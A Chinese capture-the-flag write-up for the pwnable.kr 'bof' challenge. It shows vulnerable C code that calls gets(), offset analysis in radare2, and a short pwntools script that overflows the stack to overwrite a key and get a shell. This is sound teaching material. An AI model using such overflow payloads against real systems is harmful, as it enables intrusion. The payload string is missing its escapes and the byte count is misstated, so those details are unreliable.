0x000查看源码
打开bof.c文件
1 #include <stdio.h> 2 #include <string.h> 3 #include <stdlib.h> 4 void func(int key){ 5 char overflowme[32]; 6 printf("overflow me : "); 7 gets(overflowme); // smash me! 8 if(key == 0xcafebabe){ 9 system("/bin/sh"); 10 } 11 else{ 12 printf("Nah.. "); 13 } 14 } 15 int main(int argc, char* argv[]){ 16 func(0xdeadbeef); 17 return 0; 18 }
源码分析:
要想执行第9行的“system("/bin/sh")”,程序会先判断key的值是否为0xcafebabe,现在最关键的地方就是找到key的位置,并将地址的内容覆盖为0xcafebabe。
0x001分析汇编代码
使用radare2分析汇编代码:
查看main函数
查看func
分析程序可知,用户输入的地址为var int local_2ch @ ebp-0x2c,key存放的地址为arg unsigned int arg_8h @ ebp+0x8,现在,要做的就是计算用户输入的地址到key存放的地址之间相差多少字节,0x8+0x2c,化为十进制结果为52,所以在这段距离中填充任意字符,然后再填充两个字节0xcafebabe,就可以获得一个shell了。
0x002 脚本编写
from pwn import * pwn_socket=remote('pwnable.kr',9000) pwn_socket.sendline('a'*52+'xbexbaxfexca') pwn_socket.interactive()
运行即可获得一个shell: